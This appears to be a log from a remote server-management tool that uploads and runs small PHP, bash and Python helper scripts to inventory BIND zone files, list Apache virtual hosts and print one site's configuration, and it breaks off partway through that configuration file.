MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:24:47: Establishing a connection
2026-01-03 19:24:59: Establishing a connection
2026-01-03 19:24:59:
PUT: /tmp/pkp528293
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:25:00:
runuser -l bind -s /bin/bash -c '/tmp/pkp528293; rm /tmp/pkp528293'
2026-01-03 19:25:00:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:25:08: Establishing a connection
2026-01-03 19:25:09:
PUT: /tmp/pkp763588
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:25:09:
chmod 755 /tmp/pkp763588; /tmp/pkp763588; rm /tmp/pkp763588
2026-01-03 19:25:09:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 19:25:09:
PUT: /tmp/pkp969287
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/carelinksoutreach_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:25:09:
chmod 755 /tmp/pkp969287; /tmp/pkp969287; rm /tmp/pkp969287
2026-01-03 19:25:09:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinksoutreach_www_info.conf 1476
<VirtualHost *:80>
ServerName carelinksoutreach.info
ServerAlias www.carelinksoutreach.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinksoutreach_www
<Directory /var/www/carelinksoutreach_www>
